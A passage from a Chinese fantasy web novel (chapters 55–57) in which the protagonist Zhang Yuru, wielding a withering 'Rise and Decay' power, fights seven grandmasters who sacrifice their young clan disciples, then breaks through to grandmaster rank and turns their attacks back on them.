面对七大宗师呈扇形展开的包围圈,张玉汝立于黑白能量交织的光影中,神色平静得仿佛眼前不是致命围猎,只是一场寻常对峙。 他缓缓抬起右手,掌心墨色能量如活物般涌动,带着死寂般的气息向外蔓延。 那是「枯荣」之力,一半是生机的凋零,一半是岁月的无情,所过之处,空气都仿佛被抽走了活力。 庭院角落的几株百年古松,本还枝叶苍翠,被墨色能量扫过的瞬间,叶片以肉眼可见的速度发黄、卷曲,紧接着枝干变得干枯、开裂,不过呼吸间,就化作了几截布满褶皱的朽木,仿佛经历了千年风霜的侵蚀。 地面铺就的青石板,原本坚硬光滑,此刻却像被虫蛀般布满细密的裂纹,表面快速风化剥落,露出底下粗糙的砂石,不过片刻,就从平整的石板变成了一堆散碎的砾石。 甚至连空气中漂浮的尘埃,都在接触到「枯荣」之力后,瞬间失去了悬浮的力道,簌簌落下,仿佛连虚无的尘埃都被剥夺了 “存在” 的资格。 张玉汝看着眼前的景象,嘴角忽然勾起一抹笑容,低声自语:“有意思,这「枯荣」要是用来给古董做旧,怕是能把那些靠着炒作古董赚钱的奸商逼得跳楼 —— 随便摸一下,新瓷瓶能变成‘前代官窑’,新木雕能充‘千年黄花梨’,到时候市面上的古董价格,不得直接腰斩?” 他语气轻松,像在探讨一件无关紧要的趣事,可七位宗师和李家的弟子们可没有他这样的随意淡定。 李九天握着雷霆长戟的手微微收紧,指节泛白。 作为李家掌管刑罚的宗师,他见过无数狠辣的能力,有能撕裂山河的,有能冰封千里的,却从未见过如此阴毒的力量。 它不直接取人性命,却能从根源上摧毁生命,削减寿元,这对于视 “天人生命” 为至高珍宝的他们来说,比死亡更可怕。 李沉渊脚下的土地还在翻涌泥浆,此刻却下意识地后退半步。 他修炼的土系能力本就以 “厚重绵长” 著称,寿元比同阶宗师更长。 可刚才「枯荣」之力扫过他脚下的泥浆时,那些翻滚的泥浆竟瞬间凝固、干裂,连带着他与大地间的能量联系都中断了片刻。 他能清晰感觉到,若是被这墨色能量沾到,自己辛苦修炼得来的寿元,会像被戳破的麻袋里的沙子,疯狂流逝。 李家子弟们更是吓得脸色惨白,纷纷向后退缩,恨不得躲到宗师身后。 在天人的价值观里,生命本就分三六九等 —— 贱民的命如草芥,为了一口吃的就能豁出性命。 可他们是天人,是高高在上的存在,生来就该享受无尽的资源与漫长的寿命,别说牺牲性命,就连损耗一丝寿元,都是不可接受的代价。 “张玉汝,你这邪术,简直有违天道!” 赵烈阳怒喝出声,他周身环绕着炽热的火焰,却不敢轻易上前,“天人之命岂容你如此亵渎?识相的就立刻散去力量,乖乖受缚!” 张玉汝闻言,收起脸上的笑意,眼神冷了下来。 他看着眼前这些色厉内荏的宗师,看着他们明明忌惮到极致,却还要摆出高高在上的姿态,心中的怒火再次翻涌。 “违天道?你们视贱民如草芥,为了杀我,放任异兽攻破外城,让无数百姓死于非命,这就是你们的天道?你们珍惜自己的寿元,却视他人的生命如蝼蚁,这就是你们的天道?” 他向前踏出一步,掌心的墨色能量再次暴涨,这一次,不再是漫无目的地蔓延,而是化作一道道黑色流光,在七大宗师周围游走,像是在丈量着猎物的边界。 “今天,我就让你们尝尝,你们最珍视的东西,被人肆意践踏的滋味。” “砚卿,带着家族的弟子先上。” 李九天的声音毫无波澜,像在下达一件再寻常不过的指令,目光掠过庭院中瑟瑟发抖的李家子弟,最终落在李砚卿身上,带着不容置疑的威严。 李砚卿握着冰刃的手指猛地收紧,指节泛白。 她抬眼看向李九天,又扫过身后那些年轻子弟 —— 他们中最小的不过十六岁,脸上还带着未脱的稚气,眼神里满是对宗师的敬畏与对战斗的恐惧。 可对上李九天冷漠的目光,她到了嘴边的话终究咽了回去,只是沉声道:“所有李家子弟听令,随我冲锋,缠住张玉汝!” “哈哈哈!” 张玉汝的笑声陡然炸响,带着毫不掩饰的讥讽,他指着李九天,像看到了世间最滑稽的闹剧。 “李家老鬼,好一个‘为家族负责’!七大宗师杵在这里,却要让一群毛都没长齐的孩子去送死,你这张老脸,怕是早就被天人的‘尊贵’喂得比城墙还厚了!” 李九天脸色未变,甚至懒得看张玉汝一眼,只是淡淡回应:“他们是家族的未来,但未来本就充满变数;我是家族的现在,是支撑李家千年基业的基石,我的命,比他们金贵百倍。用不确定的未来,换家族现在的安稳,这笔账,很划算。” 这话像一把淬了冰的刀,扎在那些年轻子弟心上。 有人攥紧了长剑,指节因用力而颤抖;有人低下头,不敢与李九天对视,眼底却藏不住委屈与不甘。 可在天人的规则里,这是理所当然的 “价值排序”—— 宗师级能力者寿命可达千年,举手投足间便能翻江倒海,是家族安身立命的根本。 而高级能力者寿命不过百年,战力更是天差地别,在李九天眼中,他们与 “消耗品” 别无二致。 张玉汝脸上的笑容骤然消失,眼神冷得像冰。 他当然知道天人家族的 “生存法则”,却从未想过,这种法则会被如此堂而皇之地摆上台面,如此赤裸裸地践踏生命。 他看着那些强撑着勇气、却难掩恐惧的年轻子弟,又看向李九天那副理所当然的模样,只觉得一股怒火从心底直冲头顶。 “划算?” 张玉汝声音低沉,带着压抑的暴怒,“用别人的命换自己的安稳,用年轻人的血铺自己的路,这也叫划算?李九天,你们天人总说自己高人一等,可在我看来,你们不过是一群贪生怕死、视人命如草芥的蛀虫!” 他抬手,墨色的 “枯荣” 能量在掌心缓缓旋转,周围的空气仿佛都在随之衰败。 “既然你们觉得这些孩子的命不值钱,那我就成全你们 —— 看看你们用‘未来’堆出来的防线,在我这‘枯荣’面前,到底能撑多久!” 李砚卿咬了咬牙,猛地挥手:“冲!” 话音落下,几十名李家子弟咬着牙,举着长剑朝着张玉汝冲去,可脚步却透着几分迟疑。 他们知道自己是 “消耗品”,却不得不为了那个 “高高在上” 的家族,奔赴一场注定九死一生的战斗。 而李九天与其他六位宗师,则站在后方,眼神冷漠地注视着这一切,像在观看一场与自己无关的戏码。 “不必有什么不甘。” 李九天的声音像淬了冰,透过厮杀声传到每一位李家子弟耳中。 “既然接受了天人的价值观,认了自己的命比贱民金贵,就得认有人的命比你们更金贵。为这些人牺牲,是你们的荣幸 —— 别忘了,你们对那些蝼蚁,不也是这样的态度?” 这话像一把钝刀,割在李家子弟心上。 他们中有人攥紧了剑柄,指节泛白;有人眼神闪烁,看向李九天和其他六位宗师的背影,那背影挺拔而冷漠,像一道道无法逾越的高墙。 可没人敢反驳,在天人家族的规则里,“价值” 从来都分三六九等,宗师是基石,他们这些高级能力者,不过是基石旁的碎石,有用时铺路,无用时便可舍弃。 “跟我上!” 李砚卿咬了咬牙,率先朝着张玉汝冲去。 她掌心凝聚起刺骨的寒气,化作数十道冰棱,朝着张玉汝周身的墨色「枯荣」能量射去。 身后的李家子弟们,也像是被抽走了最后一丝犹豫,纷纷催动能力 —— 火焰、风刃、金属锐刺…… 各种能量交织成网,朝着张玉汝扑去。 可这些攻击,在「枯荣」面前如同纸糊。 墨色能量轻轻一卷,火焰瞬间熄灭,风刃化作无形,金属锐刺则以肉眼可见的速度生锈、腐朽,掉落在地。 冲在最前面的两名李家子弟,不慎被「枯荣」能量擦到手臂,那截手臂瞬间失去血色,皮肤干瘪得像老树皮,连骨骼都发出 “咔嚓” 的脆响,仿佛下一秒就要碎裂。 “啊 ——!” 惨叫声中,那名子弟咬牙斩断了自己的手臂,鲜血喷涌而出,却依旧没能阻止衰亡之力顺着伤口蔓延。 张玉汝看着他痛苦倒地的模样,眼神冷得像冰:“你们心甘情愿做别人的棋子,连反抗的勇气都没有,连被你们看低的普通人都不如吗?” 可没人回应他。 李家子弟们像疯了一样,前赴后继地冲上来,有人用身体挡住「枯荣」能量,为身后的人争取攻击机会。 有人进行自爆,试图和张玉汝同归于尽,却在靠近的瞬间,被墨色能量缠上,连人带包化作一堆枯骨。 庭院里的血腥味越来越浓,尸体堆叠成山,青石板被鲜血浸透,又被「枯荣」之力带走水分,变得干裂粗糙。 张玉汝的「枯荣」能量依旧充盈,杀这些李家子弟,对他而言和碾死蝼蚁没什么区别。 可他的眉头却微微皱起 —— 每一次催动能量大范围覆盖,招式转换间总会有一瞬的凝滞,而不远处的七大宗师,正像饿狼一样盯着他,眼神里满是贪婪与警惕。 李九天双手背在身后,指尖却在悄悄凝聚雷电之力,紫色的电流在掌心跳跃,却被他死死压制,不让一丝气息外泄。 旁边的宗师李沉渊,脚下的地面微微震动,沼泽般的泥浆在他身前汇聚,只等张玉汝露出破绽,便会瞬间喷涌而出。 赵家宗师赵烈阳的周身,萦绕着淡淡的火焰,那火焰并非凡火,而是能灼烧灵魂的幽冥火,一旦沾上,便是不死不休。 他们像一群耐心的猎人,看着李家子弟们用生命消耗张玉汝的精力,看着那些年轻的生命一个个倒下,脸上没有丝毫波澜。 在他们眼里,这些子弟的牺牲,不过是为了 “更有价值” 的存在铺路。 李砚卿杀得浑身是血,寒冰能力已经有些后继乏力,她看向李九天,眼神里带着一丝哀求,却只得到对方冷漠的摇头 —— 还没到时候,张玉汝的招式还没 “用老”,还没到宗师出手的最佳时机。 张玉汝看着这一幕,突然笑了,笑声里满是嘲讽:“好一个‘为家族负责’,好一个‘价值衡量’。你们视人命如草芥,却忘了,草芥多了,也能烧了你们这些高高在上的庙堂!” 庭院里的血腥味浓得化不开,最后一名李家子弟的身体在「枯荣」之力下化作飞灰,只留下一截尚未完全腐朽的断剑,叮当一声落在青石板上。 张玉汝站在尸骸中央,墨色的能量如退潮般从指尖消散,刚才连续斩杀数十人,虽未耗尽他的本源,却让周身流转的「枯荣」之力出现了短暂的滞涩 —— 就像奔腾的河流被临时截断,需片刻蓄力才能再次汹涌。 李砚卿拄着冰刃半跪在地上,肩头被「枯荣」扫过的地方,衣料早已化作齑粉,露出的肌肤泛着不正常的灰败,那是生命力被抽离的痕迹。 她看着满地连全尸都难以找到的族人,清冷的眼眸里第一次染上复杂的情绪,有不甘,有恐惧,还有一丝难以察觉的茫然。 这些和她一同长大的子弟,刚才还在为家族冲锋,此刻却成了宗师们 “消耗战术” 的牺牲品,而她这个带队者,连为他们收尸的资格都没有。 “就是现在!” 李九天的声音陡然炸响,打破了庭院的死寂。 话音未落,七道截然不同的能量光柱几乎同时从四周涌起,像七根撑天巨柱,瞬间将张玉汝所在的区域彻底笼罩。 李九天掌心雷光暴涨,一道比之前粗壮数倍的紫色雷霆划破空气,带着 “噼啪” 的爆鸣,如恶龙般俯冲而下,所过之处,空气都被电离成淡蓝色的雾霭。 掌控大地之力的宗师双掌按地,地面瞬间裂开深不见底的沟壑,滚烫的岩浆夹杂着磨盘大的岩石喷涌而出,形成一道环形火墙,将张玉汝困在中央。 秦姓宗师挥手间,漫天水汽汇聚成奔腾的洪流,巨浪如山,带着摧枯拉朽的气势拍向核心,水面上还凝结着锋利的冰棱,闪烁着寒光。 李虚临则催动空间力量,无数空间裂缝凝聚成旋转的风暴,呼啸着切割一切,与洪流、岩浆、雷霆交织在一起,发出刺耳的尖啸。 四种攻击还未落下,另外三名宗师的攻击已接踵而至。 一名宗师祭出一面青铜古盾,盾牌上符文闪烁,化作一道巨大的金色光罩,死死扣在张玉汝头顶。 另一名宗师手中长弓拉满,箭矢由纯粹的能量凝聚而成,箭尖闪烁着撕裂一切的寒芒,一箭射出,竟分裂成数十道虚影,从不同角度刺向张玉汝。 最后一名宗师则双手结印,周身浮现出密密麻麻的黑色细丝,细丝上缠绕着浓郁的紫光,如毒蛇般窜出,试图捆缚张玉汝的四肢,封锁他的能量运转。 七种攻击,涵盖了多种领域,彼此之间还形成了诡异的共鸣 —— 雷霆为洪流增幅威力,岩浆让箭矢带上灼烧效果,金色光罩压制能量,黑色细丝封锁行动。 箭矢则寻找着所有可能的破绽。 色彩纷呈的光芒彻底淹没了张玉汝的身影,强光刺得李砚卿下意识闭上了眼睛,耳边只听到震耳欲聋的轰鸣,仿佛有无数座山岳在同时崩塌,脚下的地面剧烈震颤,独立空间的阵纹都开始闪烁不定,像是随时可能崩溃。 这哪里是七个人的攻击,分明是一场小型的末日景象 —— 天空被雷光染成紫色,大地被岩浆烧得通红,洪流卷着冰棱肆虐,风暴带着碎石呼啸,金色光罩与黑色细丝交织成囚笼,能量箭矢撕裂空气的尖啸刺透耳膜。 站在远处的李砚卿,只觉得一股窒息的压迫感扑面而来,即便隔着数十丈的距离,也能感受到那片能量风暴中心蕴含的恐怖力量,仿佛只要靠近一步,就会被瞬间撕成碎片。 七位宗师悬浮在半空,每个人的脸上都带着凝重 —— 他们很清楚,这一击耗尽了他们大半的能量,若是还无法拿下张玉汝,接下来面对的,将是拥有「枯荣」之力的反扑。 李九天紧盯着能量风暴的中心,掌心雷光依旧在闪烁,随时准备补刀;李沉渊则死死按住地面,防止张玉汝从地下逃脱。 其余几人也各有防备,显然,他们从未想过 “一击必胜”。 能量风暴渐渐平息,光芒散去后,原地只剩下一片焦黑的深坑,坑底的青石板早已化作齑粉,连带着周围的尸体残骸也被彻底抹去。 七位宗师屏住呼吸,目光死死盯着深坑中央,那里烟雾弥漫,看不清具体景象 —— 张玉汝,到底死了吗? 第 56章 开宗 七位宗师的最强攻击在半空交织的刹那,李家独立空间的根基仿佛被生生凿开一道裂痕。 最先发出悲鸣的是空间壁垒。 李虚临这位空间类宗师本就擅长操控空间之力,此刻却与其他六位宗师的力量一同冲击着这片天地。 透明的壁垒上瞬间爬满蛛网般的裂纹,幽黑的空间乱流像毒蛇般从裂缝中窜出,将沿途的光线扭曲成诡异的弧线,连空气都被撕扯得发出尖啸。 攻击核心处,早已是一片能量肆虐的炼狱。 李九天的雷霆之力化作数道水桶粗的紫电,在地面轰出焦黑的深坑,坑壁上还残留着电光游走的痕迹,哪怕攻击结束,紫色电蛇依旧在碎石间窜动,滋滋作响。 李沉渊与魏山宗两位大地类宗师的力量叠加,让地面像波浪般起伏,厚重的青石板被硬生生掀起,又在巨力碾压下碎成齑粉,深层的岩石层裸露在外,布满密密麻麻的裂痕,仿佛随时会整体塌陷。 赵烈阳的火焰之力化作一片赤红火海,将周围的木质阁楼、假山烧得噼啪作响,火焰熄灭后,只留下焦黑的框架和刺鼻的浓烟,连石块都被烧得呈现出琉璃般的熔融状态。 秦止水的水流之力凝聚成汹涌的水龙,冲刷着攻击范围内的一切,在地面冲出深深的沟壑,水流退去后,沟壑中还残留着未干的水渍,与焦土、碎石混杂在一起,显得格外狼藉。 柳千丝的林木之力虽未直接造成毁灭性破坏,却在攻击余波中化作无数枯萎的藤蔓,缠绕在残存的断壁上,仿佛给这片废墟盖上了一层死寂的外衣。 整个空间都在加速崩坏。 原本悬浮在半空的能量灯盏纷纷坠落,摔在地上化作碎片;庭院边缘的池塘被空间乱流波及,池水瞬间被抽干,只剩下干裂的池底和几条翻着肚皮的死鱼。 远处的修炼场更是被夷为平地,原本用于修炼的石碑、木桩,全都在能量冲击下化为乌有,连一点残骸都没能留下。 攻击交汇处,更是连一粒完整的碎石都找不到,只有一片混沌的能量乱流在缓缓消散,那里的空间仿佛被彻底抹去,呈现出一种诡异的 “虚无” 状态。 李九天悬浮在半空,紫电缠绕的双手微微下垂,眼神凝重地盯着下方的废墟。 他能清晰地感受到,空间的稳定度正在以肉眼可见的速度下降,脚下的地面时不时传来剧烈的震动,仿佛下一秒就会彻底塌陷。“张玉汝的气息…… 消失了?” 他沉声开口,语气中带着一丝难以置信。 一旁的李虚临闭上眼,精神力如同细密的网,覆盖了整个空间。 作为空间类宗师,他对能量波动的感知远超他人,可即便如此,他也没能捕捉到丝毫属于张玉汝的能量残留。 “攻击范围内空无一物,连他的残魂气息都没留下。” 李虚临睁开眼,眉头紧锁,“除非…… 他在攻击落下前就已经脱离了这片空间。” 赵烈阳忍不住冷哼一声:“不可能!我那焚天烈焰连空间都能烧穿,他一个刚凝聚形体的残魂,怎么可能逃得掉?” 他说着,挥手放出一缕火焰,试探性地朝着攻击核心处飞去,可火焰刚靠近那片 “虚无” 区域,就被无形的力量吞噬,连一点火光都没能留下。 就在众人争论不休时,秦止水的目光落在了不远处的一片空地上 —— 那里原本是叶平被张玉汝残魂控制的地方。 此刻,地面上只剩下一小撮灰白色的烟尘,正随着空间乱流缓缓飘散。 之前还在原地动弹不得的叶平,早已在七大宗师的攻击余波中被彻底汽化,连骨骼都没能留下,仿佛他从未出现在这个空间里。 “叶平没了。” 秦止水淡淡开口,声音却让在场的宗师们都沉默下来。 李沉渊皱了皱眉:“我们的目标是张玉汝,叶平不过是附带的。可现在…… 张玉汝踪迹全无,叶平却被湮灭,这不合常理。” 他脚下的大地微微震颤,似乎在呼应着他的力量,却也无法探查更深层的情况。 柳千丝轻轻晃动着指尖缠绕的藤蔓,语气带着一丝担忧:“空间快要撑不住了,再不走,我们可能会被卷入空间乱流。” 她话音刚落,远处的阁楼就发出一声巨响,整座建筑从中间断裂,重重砸在地上,扬起漫天尘土。 李九天脸色一沉,当机立断:“先撤!留在这里只会徒增风险。张玉汝就算没死,短时间内也掀不起风浪,等稳定了空间,再派人追查他的下落!” 说完,他率先化作一道紫电,朝着空间出口飞去。其他几位宗师也不再犹豫,纷纷催动力量,跟了上去。 身后,整个独立空间正在加速崩塌。 空间壁垒的裂纹越来越大,黑色的乱流如同潮水般涌出,地面大面积塌陷,残存的建筑接二连三地倒下,很快,这片曾经的李家驻地,就会彻底被空间乱流吞噬。 而那七位宗师始终没能想通,那个被他们全力围攻的张玉汝,究竟是在攻击中湮灭,还是以某种他们无法理解的方式,从这场足以毁灭一切的轰击中生还。 七位宗师刚抵达空间出口,还未来得及稳固身形,一股截然不同的能量波动突然从身后席卷而来。 那能量不再是之前「枯荣」的死寂与生机交织,而是像一汪深不见底的古井,平静却带着令人心悸的压迫感,瞬间压过了空间崩塌的混乱气息。 众人猛地回头,只见之前攻击核心处那片 “虚无” 区域里,一点璀璨的精光突然亮起,如同黑暗中骤然绽放的星辰。 精光只闪烁了一刹那,下一秒,一道挺拔的身影便凭空出现在精光消散的位置 —— 正是本该被湮灭或逃离的张玉汝。 这一次的他,与此前截然不同。 之前凝聚形体时,周身总是萦绕着若有若无的黑白能量,仿佛随时会消散,带着一种虚无缥缈的破碎感。 而此刻,他身上的能量已然完全内敛,黑色的练气服平整如新,黑白双色的界限依旧模糊难辨,却多了一种扎实的 “存在感”,仿佛他本就该站在那里,与这片崩坏的空间格格不入,却又稳如磐石。 “他竟然没逃!” 魏山宗眼中闪过一丝意外,随即化为浓烈的喜色,紧握的双拳泛起土黄色的光芒,“正好,省得我们四处追查!” 李沉渊也松了口气,之前对张玉汝消失的不安瞬间消散:“能在七大宗师联手一击下活下来,倒也算有点本事,可惜…… 选了最愚蠢的路。” 在他看来,张玉汝若趁乱逃离,凭借其诡异的能力,日后必然是心腹大患;可如今主动现身,等于将自己困在了这濒临崩塌的空间里,成了瓮中之鳖。 其他几位宗师也纷纷露出了然的神情。 在天人的认知里,强者拥有压箱底的保命手段再正常不过,张玉汝能活下来并不意外,真正让他们庆幸的是,对方没有选择逃走。 赵烈阳甚至已经开始运转火焰之力,赤红色的光晕在掌心跳动,随时准备发起攻击:“这次看他还能往哪躲!” 李九天悬浮在半空,看着下方的张玉汝,嘴角勾起一抹嘲讽的弧度,紫色的雷霆在他周身滋滋作响,带着居高临下的傲慢:“张玉汝,我还以为你要借着空间崩塌的乱子逃之夭夭,没想到你倒是有几分‘骨气’—— 可惜,这骨气在我看来,和愚蠢没什么两样。” 他顿了顿,语气中满是不屑:“你要是真逃了,我们或许还得费点功夫找你;可你偏偏留在这里,简直是给我们省事。今日,你就算有通天的本事,也别想活着离开!” 面对七位宗师的虎视眈眈和李九天的嘲讽,张玉汝却显得异常平静。 他轻轻活动了一下手腕,目光扫过眼前的七位宗师,眼神里没有丝毫畏惧,只有一种冰冷的坚定。 “逃走?” 他淡淡开口,声音不大,却清晰地传到每个人耳中,“我之前说过,要让你们这些不把自己当人、也不把别人当人的东西,全都留在这里。” “诺言还没兑现,我怎么会轻易离开?” 话音落下的瞬间,张玉汝周身突然泛起一层淡淡的黑白光晕,这一次的光晕不再是散逸的能量,而是如同实质般的护盾,将他牢牢笼罩。 与此同时,他脚下的地面微微震颤,那些被宗师们轰碎的碎石、被烧毁的木屑,竟然在黑白光晕的牵引下,缓缓漂浮起来,围绕着他旋转,仿佛形成了一道由废墟组成的屏障。 李九天脸上的嘲讽僵住了,他能清晰地感受到,此刻张玉汝身上的气息,比之前更加凝实,甚至带着一种让他心悸的压迫感。 “故作玄虚!” 他冷哼一声,率先发起攻击,数道水桶粗的紫电从掌心射出,朝着张玉汝狠狠劈去。 七位宗师身形交错,瞬间在半空结成战阵。 李九天紫电绕臂,赵烈阳火焰焚天,秦止水水龙盘空,李沉渊、魏山宗土浪翻涌,柳千丝藤蔓如织,李虚临则隐于虚空,指尖萦绕着空间扭曲的微光。 与之前不同,这次他们无需蓄力,磅礴的能量如同奔腾的江河,顺着各自的招式倾泻而出,七种色彩各异的攻击在空中汇成一道璀璨的洪流,朝着张玉汝席卷而去。 “这种程度的攻击,就算耗也能把他耗死!” 赵烈阳狞笑一声,火焰之力再度暴涨,让那道洪流的光芒又炽盛了几分。 在他们看来,张玉汝纵使能挡下一击,也绝难承受连绵不绝的轰击,毕竟宗师级的能量储备,绝非刚凝聚形体的残魂所能比拟。 然而,就在攻击洪流即将触及张玉汝的刹那,他只是平静地抬了抬手,薄唇轻吐:“颠倒。” 话音落下的瞬间,诡异的一幕发生了。 那道裹挟着雷霆、火焰、水流、大地、藤蔓与空间之力的攻击洪流,仿佛被按下了回溯键,沿着原本的轨迹猛然折返,速度甚至比袭来时更快。 七位宗师虽面露讶异,却并未慌乱,李九天甚至冷笑出声:“不过是反弹招式,早就料到你有这一手!” 他们迅速调整姿态,李沉渊与魏山宗联手凝聚出厚重的土黄色护盾,秦止水的水流化作层层水幕,赵烈阳的火焰则在身前交织成火墙,准备硬接自己人的攻击。 可就在攻击洪流触及防御的瞬间,他们才惊觉不对劲 —— 折返而来的攻击,威力竟比之前暴涨了三成! “怎么可能!” 秦止水失声惊呼,水幕在攻击下瞬间崩碎,汹涌的水流倒卷而回,溅得他浑身湿透。李沉渊与魏山宗的土盾也布满裂纹,两人脸色一白,被迫后退半步才稳住身形。 这突如其来的威力增幅,虽未突破他们的防御,却让原本行云流水的应对出现了刹那的迟滞。 就是这短短一息的间隙,张玉汝的身影骤然消失在原地,只留下一道淡淡的黑白残影。 李虚临心中警铃大作,下意识催动空间之力想要隐匿,可他刚要融入虚空,胸口却传来一阵刺骨的剧痛。 一柄墨色长刀已然穿透了他的胸膛,刀身萦绕的「枯荣」之力,正疯狂侵蚀着他的经脉。 “虚临!” 不远处的李沉渊目眦欲裂,发出撕心裂肺的呼喊。 他与李虚临自幼一同修炼,相伴数百年,情同手足,此刻见好友遇袭,瞬间红了眼眶,土黄色的能量暴涨,就要冲上前救援。 可一切都太迟了,张玉汝手腕一翻,墨色长刀抽出,同时指尖凝聚出黑白二色的能量,狠狠按在李虚临的胸口。 “天人五衰。” 张玉汝的声音没有丝毫波澜,却像一道催命符,让李虚临浑身剧颤。 黑白能量顺着他的伤口涌入体内,原本乌黑的头发以肉眼可见的速度变得花白,紧致的皮肤迅速松弛,布满皱纹,挺拔的身躯也佝偻下来,连眼中的神采都在快速黯淡。 这正是专杀天人的「天人五衰」,直接作用于生命本源,短短数秒,就将一位活了数百年的宗师,摧残得如同行将就木的老者。 李虚临张了张嘴,想要说些什么,却只能咳出一口黑血,身体软软地倒了下去。 李沉渊冲到近前,接住他逐渐冰冷的身体,感受着怀中好友飞速流逝的生命气息,愤怒、悲伤与恐惧如同潮水般将他淹没,双手控制不住地颤抖:“虚临…… 虚临你撑住!” 就在这时,李九天死死盯着张玉汝,声音从牙缝中挤出,带着难以置信的惊骇:“你已经成为了宗师!” 刚才张玉汝那瞬间的瞬移、对能量的精准操控,以及「天人五衰」爆发的威力,都远超大师级的范畴,只有踏入宗师境,才能拥有如此恐怖的力量。 张玉汝低头看了一眼手中还在滴落黑血的墨色长刀,淡淡点头,语气中带着一丝不易察觉的冷意:“眼神不错。” 他之前凝聚形体时,便已触碰到宗师境的门槛,刚才在七大宗师的轰击下,反而彻底冲破桎梏,踏入了这个境界。 柳千丝看着倒在地上的李虚临,脸色苍白如纸,藤蔓下意识地蜷缩起来;秦止水紧握双拳,水流在掌心躁动,却不敢轻易上前。 赵烈阳虽依旧怒目而视,火焰却收敛了几分。 一位宗师瞬间陨落,让他们彻底意识到,眼前的张玉汝,早已不是那个可以随意揉捏的残魂,而是一尊足以让他们付出惨痛代价的杀神。 第 57章 乱情 “不可能!” 李九天周身的紫电疯狂窜动,语气中满是难以置信的嘶吼。 “你前一刻还是苟延残喘的残魂,凭什么在短短时间内踏入宗师境?这绝不可能!” 他死死盯着张玉汝,眼神里写满了抗拒与不甘。 作为李家执掌刑罚的宗师,他活了数百年,见过无数天赋异禀之辈。 但却从未有人能像张玉汝这般,从残魂状态一跃成为宗师 —— 这完全违背了修行的常理,打破了天人认知中固有的境界壁垒。 可事实摆在眼前:张玉汝身上散发出的宗师级能量波动,如同一座无形的山岳,压得他呼吸都有些凝滞。 李虚临倒在地上,身体正以肉眼可见的速度衰老、腐朽,「天人五衰」的迹象越来越明显,生命气息快速消散。 更让他心悸的是,身体本能传来的恐惧,如同面对天敌般,提醒着他眼前的张玉汝,早已不是那个可以随意揉捏的 “贱民”。 张玉汝看着李九天失态的模样,淡然一笑,语气带着几分戏谑:“我们得相信科学,这世上本就没有‘灵魂’一说,你们口中的‘残魂’,不过是对能量形态的误判罢了,实在算不上科学。” “科学你 MLGB!” 一旁的李沉渊突然暴喝出声,眼眶通红,布满血丝。 李虚临的身体已经开始出现皱纹,头发以肉眼可见的速度变白,原本挺拔的身躯也在不断佝偻,这一幕像尖刀般扎在他心上。 他与李虚临相识数百年,一同修炼、一同执行任务,情谊早已超越亲兄弟,此刻看着挚友在「天人五衰」下走向死亡,积压的愤怒与悲痛瞬间爆发,哪里还顾得上宗师的体面。 张玉汝脸上的笑容淡去,取而代之的是一丝遗憾:“原来天人的素质,也不过如此。遇到无法理解的事,只会像泼妇般无能狂怒,连基本的冷静都做不到。” 就在双方剑拔弩张之际,地面突然传来细微的 “簌簌” 声。 几道近乎透明的嫩枝,正贴着地面快速破土而出,枝条上带着晶莹的露珠,看似柔弱,却散发着若有若无的腥气 —— 正是柳千丝出手了。 作为柳家的宗师,她最擅长隐匿与用毒。 这些嫩枝蕴含的 “腐心毒”,是柳家秘制的剧毒,哪怕是兽王级异兽沾染一丝,也会瞬间陷入休克,宗师级能力者若中招,虽不至于立刻死亡,却会被毒素侵蚀经脉,实力大跌,堪称防不胜防。 柳千丝藏身于一块断裂的石柱后,眼神冰冷地盯着张玉汝的背影,手指微动,操控着嫩枝朝着张玉汝周身的经脉节点潜行。 在她看来,张玉汝刚刚突破宗师,又刚斩杀李虚临,正是心神最松懈的时候,这一击必然能得手。 可她不知道,张玉汝的「造化之眼」早已将一切尽收眼底。 在「造化之眼」的视野中,柳千丝隐匿的气息、嫩枝上流动的毒素,甚至其他几位宗师暗中蓄力的小动作,都清晰地呈现在他脑海中,如同展开的画卷般一目了然。 就在嫩枝即将触碰到张玉汝后腰的瞬间,张玉汝像是随意般转了个身,动作行云流水,没有丝毫刻意。 转身时带起的一缕微风,看似微弱,却如同拥有生命般,精准地卷住了那几道嫩枝,猛地改变了它们的轨迹。 “咻咻咻 ——” 几道嫩枝如同离弦之箭,径直朝着不远处的秦止水射去。 秦止水正暗中凝聚水流,准备在柳千丝偷袭得手后发动突袭,猝不及防之下,只能仓促侧身,可还是有一根嫩枝擦着他的手臂飞过,带起一道血痕。 “有毒!” 秦止水脸色骤变,连忙运转能量压制毒素,手臂上被擦中的地方,已经开始泛起黑紫。 他猛地看向柳千丝,眼神中满是惊愕与愤怒 —— 他从未想过,柳千丝的偷袭会被反弹到自己身上。 柳千丝也愣住了,藏在石柱后的身体微微僵硬。 她完全没看清张玉汝是如何做到的,对方只是一个随意的转身,就轻易化解了她蓄谋已久的偷袭,甚至还将毒枝反弹给了盟友。 这一刻,剩下的六位宗师终于彻底认清了现实。 张玉汝不再是那个需要他们联手围剿的 “残魂”,而是真正踏入了宗师境。 甚至在战斗意识与能力运用上,还要远超他们这些常年养尊处优的天人宗师。 赵烈阳掌心的火焰微微摇曳,眼神中第一次露出了忌惮;魏山宗紧握着拳头,脚下的大地能量不再躁动,显然已经没了之前的底气。 就连最傲慢的李九天,周身的紫电也收敛了几分,看向张玉汝的眼神中,除了愤怒,更多的是凝重。 他们都很清楚,如今的张玉汝,在单打独斗的情况下,足以斩杀他们中的任何一个人。 之前的围剿,如今已然变成了一场随时可能丧命的死局。 认清 “单打独斗绝非张玉汝对手” 的现实后,六位宗师的攻击节奏虽未放缓,氛围却悄然变了味。 李九天依旧是攻势最猛的那个,紫电如暴雨般砸向张玉汝,每一道雷霆都带着撕裂空间的威势。 可他眉宇间的焦躁却藏不住 —— 此前李虚临被一招秒杀的画面,像根刺扎在他心头,让他不得不重新估量眼前这个 “新晋宗师” 的恐怖。 赵烈阳的火焰交织成密不透风的火网,柳千丝的藤蔓在火网间隙游走,魏山宗则催动大地之力,让张玉汝脚下的地面不断隆起尖刺,三人配合依旧默契,却再没了最初 “稳操胜券” 的从容,攻击间多了几分试探与保留。 人群中,唯有秦止水和李沉渊,在看似凶狠的攻击下,藏着各自的心思。 秦止水周身萦绕着淡淡的水汽,指尖凝聚的水箭接连射向张玉汝,每一道都带着破空之声,可没人注意到,几缕几乎与空气融为一体的细微水分子,正顺着空间乱流的轨迹,悄悄朝着出口方向飘去。 这些水分子比尘埃还要稀薄,混在崩塌空间的混乱能量中,根本难以察觉。 他紧盯着水分子的动向,瞳孔微微收缩 —— 只要它们抵达出口附近,自己便能借着 “水遁” 之术,与水分子完成瞬间置换,到时候哪怕被家族责罚 “临阵脱逃”,也比留在这里送命强。 